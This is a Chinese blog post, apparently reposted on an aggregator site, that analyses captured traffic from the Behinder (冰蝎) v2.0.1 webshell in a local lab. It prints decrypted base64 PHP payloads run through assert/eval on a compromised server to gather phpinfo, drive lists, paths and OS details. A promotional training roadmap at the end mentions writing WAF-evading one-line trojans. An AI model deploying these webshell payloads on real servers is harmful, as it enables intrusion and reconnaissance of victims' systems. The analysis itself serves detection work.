冰蝎v2.0.1流量分析

2023-10-14 02:59
文章标签 分析 流量 v2.0 冰蝎

本文主要是介绍冰蝎v2.0.1流量分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

冰蝎经过一系列的迭代,流量特征各有不同,我们以版本顺序探究冰蝎流量的进化史

冰蝎v2.0.1

1、冰蝎自带webshell,我们以php的webshell为例(已加注释):

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YcUNPc4x-1691284675827)(https://image.3001.net/images/20220901/1662002545_631025711eac09769c395.png!small)]

2、将此文件放入被攻击服务器网站下,然后运行冰蝎客户端,新建连接

3、使用wireshark抓取冰蝎流量包

(1)由于我的冰蝎客户端与被攻击服务器在同一台电脑上,因此wireshark的网卡应选择如下:

(2)开始捕获后,点击新建的连接进入webshell管理界面

(3)在wireshark中即可捕获到冰蝎客户端与服务器通信的数据包

(4)追踪HTTP流即可看到冰蝎客户端与服务器的完整通信过程

4、分析冰蝎与服务器的通信过程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZZS1KpTk-1691284675835)(https://image.3001.net/images/20220901/1662002938_631026faf402733dc4fa7.png!small)]

(1)当冰蝎第一次访问服务器webshell时,以GET方式提交随机数字,因此服务器将会生成16位的随机字符串,写入session后通过print函数将密钥返回客户端;

(2)冰蝎第二次访问服务器时以相同方式更新密钥;

(3)经过一次密钥产生与一次密钥更新后,双方开始以对称密钥进行加密通信,首先是冰蝎向服务器发送加密数据,而解密函数在webshell中:

我们通过解密方式解密请求包数据:

因此得到冰蝎发送的请求包实际载荷为:

assert|eval(base64_decode('QGVycmyX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNvbnRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250ZW50KTsNCiAgICAka2V5ID0gJF9TRVNTSU9OWydrJ107DQogICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZmyKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfSRjb250ZW50PSI1NzE3OGJkNS03YzJhLTRjNTgtYTZlOC01NmUyYTJjZjYyMjMiOw0KbWFpbigkY29udGVudCk7'));

其中base64解码数据为:

@error_reporting(0);
function main($content)
{$result = array();$result["status"] = base64_encode("success");$result["msg"] = base64_encode($content);$key = $_SESSION['k'];echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i $data[$i] = $data[$i]^$key[$i+1&15];return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}
$content="57178bd5-7c2a-4c58-a6e8-56e2a2cf6223";
main($content);

以上base64解码便是冰蝎的实际攻击代码;

梳理一下本次数据的处理过程:

【1】冰蝎将AES加密数据发送至服务器webshell;

【2】webshell检测到没有以GET方式提交的pass参数的值,因此调用openssl扩展,结合冰蝎发送的数据和session中的密钥进行AES解密,得到解密后的载荷
assert|eval(base64_decode('QGVy…

【3】以|为分隔符,将解密后的载荷分隔为两部分,将执行载荷的过程放入自定义类C的魔术函数 __construct() 中;

【4】实例化自定义类,触发 __construct() 函数,执行 eval(base64_decode('QGVy…

【5】执行时,首先进行base64解码,然后执行解码后的代码,代码中定义了result数组,result数组有两个键值对:

‘status’:base64_encode(“success”)

‘msg’:base64_encode(“57178bd5-7c2a-4c58-a6e8-56e2a2cf6223”)

【6】然后从session中取得密钥,对result数组加密,将加密结果输出到客户端;

(4)冰蝎收到加密数据后,在内部进行解密(解密代码与解密的过程在冰蝎内部完成,我们看不到)

但是我们可以自行解密,查看服务器发送至冰蝎的真实数据:

因此得到服务器发送的响应包实际数据为:

{"status":"c3VjY2Vzcw==","msg":"NTcxNzhiZDUtN2MyYS00YzU4LWE2ZTgtNTZlMmEyY2Y2MjIz"}

经过base64解码后的结果为:

{"status":"success","msg":"57178bd5-7c2a-4c58-a6e8-56e2a2cf6223"}

和我们在(3)梳理的代码执行流程吻合;

紧接着上面的数据包进行分析:

(5)冰蝎客户端收到
{“status”:“success”,“msg”:“57178bd5-7c2a-4c58-a6e8-56e2a2cf6223”}
后,再次发送加密数据至服务器webshell,解密数据查看:

即冰蝎发送的请求包实际载荷为:

assert|eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gbWFpbigpIHsNCiAgICBvYl9zdGFydCgpOyBwaHBpbmZvKCk7ICRpbmZvID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOw0KICAgICRkcml2ZUxpc3QgPSIiOw0KICAgIGlmIChzdHJpc3RyKFBIUF9PUywid2luZG93cyIpfHxzdHJpc3RyKFBIUF9PUywid2lubnQiKSkNCiAgICB7DQogICAgICAgIGZvcigkaT02NTskaTw9OTA7JGkrKykNCiAgICAJew0KICAgIAkJJGRyaXZlPWNocigkaSkuJzovJzsNCiAgICAJCWZpbGVfZXhpc3RzKCRkcml2ZSkgPyAkZHJpdmVMaXN0PSRkcml2ZUxpc3QuJGRyaXZlLiI7IjonJzsNCiAgICAJfQ0KICAgIH0NCgllbHNlDQoJew0KCQkkZHJpdmVMaXN0PSIvIjsNCgl9DQogICAgJGN1cnJlbnRQYXRoPWdldGN3ZCgpOw0KICAgIC8vZWNobyAicGhwaW5mbz0iLiRpbmZvLiJcbiIuImN1cnJlbnRQYXRoPSIuJGN1cnJlbnRQYXRoLiJcbiIuImRyaXZlTGlzdD0iLiRkcml2ZUxpc3Q7DQogICAgJG9zSW5mbz1QSFBfT1M7DQogICAgJHJlc3VsdD1hcnJheSgiYmFzaWNJbmZvIj0+YmFzZTY0X2VuY29kZSgkaW5mbyksImRyaXZlTGlzdCI9PmJhc2U2NF9lbmNvZGUoJGRyaXZlTGlzdCksImN1cnJlbnRQYXRoIj0+YmFzZTY0X2VuY29kZSgkY3VycmVudFBhdGgpLCJvc0luZm8iPT5iYXNlNjRfZW5jb2RlKCRvc0luZm8pKTsNCiAgICAvL2VjaG8ganNvbl9lbmNvZGUoJHJlc3VsdCk7DQogICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgICRrZXk9JF9TRVNTSU9OWydrJ107DQogICAgLy9lY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgIC8vZWNobyBvcGVuc3NsX2VuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICJBRVMxMjgiLCAka2V5KTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZmyKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfQ0KbWFpbigpOw=='));

base64解码数据为(中文注释为自己分析后加上):

error_reporting(0);
function main()
{ob_start();//打开输出缓冲区,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区phpinfo();//输出phpinfo信息到缓冲区$info = ob_get_contents();//将phpinfo信息存储到$info变量ob_end_clean();//清除内部缓冲区内容,并且关闭内部缓冲区$driveList ="";if(stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))//如果服务器操作系统为windows或winnt{for($i=65;$i<=90;$i++){$drive=chr($i).':/';file_exists($drive) ? $driveList=$driveList.$drive.";":'';//获取服务器的所有盘符,形如"C:/;D:/;"}}else//如果服务器操作系统不是windows或winnt{$driveList="/";//则获取根目录}$currentPath=getcwd();//获取当前路径//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;$osInfo=PHP_OS;//获取当前操作系统$result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));//echo json_encode($result);session_start();//创建新会话或者重用现有会话;如果通过GET/POST/cookie提交了会话ID,则会重用现有会话;此函数用于php文件共享一个会话内定义的变量$key=$_SESSION['k'];//得到本会话中存储于session中的AES密钥//echo json_encode($result);//echo openssl_encrypt(json_encode($result), "AES128", $key);echo encrypt(json_encode($result), $key);//服务器输出AES加密后的数据(包括phpinfo信息,盘符信息,当前路径,操作系统)供冰蝎接收
}
function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++){$data[$i] = $data[$i]^$key[$i+1&15]; }return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}
main();

(6)由上面冰蝎发送的执行代码可知,服务器发送回的响应数据是
经过AES加密后的以数组形式保存的phpinfo信息、盘符信息、当前路径、操作系统信息的base64编码 ,我们解密响应包数据验证一下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Llrqg247-1691284675845)(https://image.3001.net/images/20220901/1662003596_6310298c8d4aee02cb442.png!small)]

即服务器发送的响应包的实际载荷为:

{"basicInfo":"PCFET0......jwvaHRtbD4=","driveList":"QzovO0Q6Lzs=","currentPath":"QzpcVG9vbHNcUmFuZ2VzXHBocHN0dWR5X3Byb1xXV1dcdGVzdA==","osInfo":"V0lOTlQ="}

base64解码数据为:

{ "basicInfo":phpinfo信息, "driveList":"C:/;D:/;", "currentPath":"C:\Tools\Ranges\phpstudy_pro\WWW\test", "osInfo":"WINNT" }

参考链接:

https://blog.csdn.net/agathakuan/article/details/121018071(使用wireshark抓本地包)

https://www.bbsmax.com/A/kPzO9LA35x/(记一次解密wireshark抓取的冰蝎通信流量)

https://blog.csdn.net/He0an39n/article/details/125520962(Misc_冰蝎流量分析)

https://blog.csdn.net/weixin_39190897/article/details/109417674(渗透测试-
流量加密之冰蝎&蚁剑)

https://www.anquanke.com/post/id/212271(冰蝎,从入门到魔改)

ails/121018071)(使用wireshark抓本地包)

https://www.bbsmax.com/A/kPzO9LA35x/(记一次解密wireshark抓取的冰蝎通信流量)

https://blog.csdn.net/He0an39n/article/details/125520962(Misc_冰蝎流量分析)

https://blog.csdn.net/weixin_39190897/article/details/109417674(渗透测试-
流量加密之冰蝎&蚁剑)

https://www.anquanke.com/post/id/212271(冰蝎,从入门到魔改)

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

这篇关于冰蝎v2.0.1流量分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/207682

相关文章

Springboot中分析SQL性能的两种方式详解

《Springboot中分析SQL性能的两种方式详解》文章介绍了SQL性能分析的两种方式:MyBatis-Plus性能分析插件和p6spy框架,MyBatis-Plus插件配置简单,适用于开发和测试环... 目录SQL性能分析的两种方式:功能介绍实现方式:实现步骤:SQL性能分析的两种方式:功能介绍记录

最长公共子序列问题的深度分析与Java实现方式

《最长公共子序列问题的深度分析与Java实现方式》本文详细介绍了最长公共子序列(LCS)问题,包括其概念、暴力解法、动态规划解法,并提供了Java代码实现,暴力解法虽然简单,但在大数据处理中效率较低,... 目录最长公共子序列问题概述问题理解与示例分析暴力解法思路与示例代码动态规划解法DP 表的构建与意义动

C#使用DeepSeek API实现自然语言处理,文本分类和情感分析

《C#使用DeepSeekAPI实现自然语言处理,文本分类和情感分析》在C#中使用DeepSeekAPI可以实现多种功能,例如自然语言处理、文本分类、情感分析等,本文主要为大家介绍了具体实现步骤,... 目录准备工作文本生成文本分类问答系统代码生成翻译功能文本摘要文本校对图像描述生成总结在C#中使用Deep

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

使用zabbix进行监控网络设备流量

《使用zabbix进行监控网络设备流量》这篇文章主要为大家详细介绍了如何使用zabbix进行监控网络设备流量,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录安装zabbix配置ENSP环境配置zabbix实行监控交换机测试一台liunx服务器,这里使用的为Ubuntu22.04(

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专

Spring中Bean有关NullPointerException异常的原因分析

《Spring中Bean有关NullPointerException异常的原因分析》在Spring中使用@Autowired注解注入的bean不能在静态上下文中访问,否则会导致NullPointerE... 目录Spring中Bean有关NullPointerException异常的原因问题描述解决方案总结